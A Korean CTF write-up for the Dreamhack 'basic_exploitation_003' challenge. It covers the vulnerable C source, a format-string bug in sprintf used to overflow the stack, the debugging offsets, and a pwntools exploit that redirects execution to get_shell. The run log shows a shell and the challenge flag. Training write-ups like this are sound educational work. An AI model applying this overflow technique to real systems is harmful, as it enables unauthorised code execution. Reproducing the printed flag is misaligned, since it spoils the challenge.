[Dreamhack] basic_exploitation_003

#코딩노예#·2022년 11월 4일
0

문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    
    return 0;
}
  • 쉘을 띄워주는 get_shell() 함수가 있습니다.
  • sprintf(stack_buf, heap_buf) 부분에서 포멧 스트링 버그가 발생합니다.
  • heap_buf%[n]c 를 넣으면 n 바이트 길이의 문자열이 stack_buf에 들어가는데, 만약 n이 stack_buf의 크기보다 크다면 버퍼 오버플로우가 발생할 수 있습니다.

⇾ 포멧 스트링 버그를 이용해서 heap_buf%[stack_buf~RET]c + get_shell을 넣고 sprintf() 함수를 이용해서 버퍼 오버플로우를 발생시켜서 RET 값을 get_shell 함수의 주소로 변조하면 될거 같습니다.



보호 기법

 ion  ~/wargame/dreamhack/pwnable/basic_exploitation_003  checksec basic_exploitation_003
[*] '/home/ion/wargame/dreamhack/pwnable/basic_exploitation_003/basic_exploitation_003'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

NX 보호 기법이 걸려있습니다.



디버깅

   0x080486d3 <+87>:    lea    eax,[ebp-0x98]			# eax = stack_buf 
   0x080486d9 <+93>:    push   eax						# push stack_buf
   0x080486da <+94>:    push   0x8048791				# push "ECHO : %s\n"
   0x080486df <+99>:    call   0x8048460 <printf@plt>	# printf("ECHO : %s\n", stack_buf)
   0x080486e4 <+104>:   add    esp,0x8
   
gef➤  x/s 0x8048791
0x8048791:      "ECHO : %s\n"

buf ~ RET 까지 거리는 156입니다.



익스플로잇 코드

from pwn import *

#context.log_level = 'debug'

p = process("./basic_exploitation_003")
e = ELF("./basic_exploitation_003")

get_shell = e.symbols['get_shell']


payload = b"%156c" + p32(get_shell)
p.sendline(payload)

p.interactive()


익스플로잇

 ion  ~/wargame/dreamhack/pwnable/basic_exploitation_003  python3 exploit.py
[+] Opening connection to host3.dreamhack.games on port 16525: Done
[*] '/home/ion/wargame/dreamhack/pwnable/basic_exploitation_003/basic_exploitation_003'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
ECHO :                                                                                                                                                             i\x86\x04

$ ls
basic_exploitation_003
flag
$ cat flag
DH{4e6e355c62249b2da3b566f0d575007e}

0개의 댓글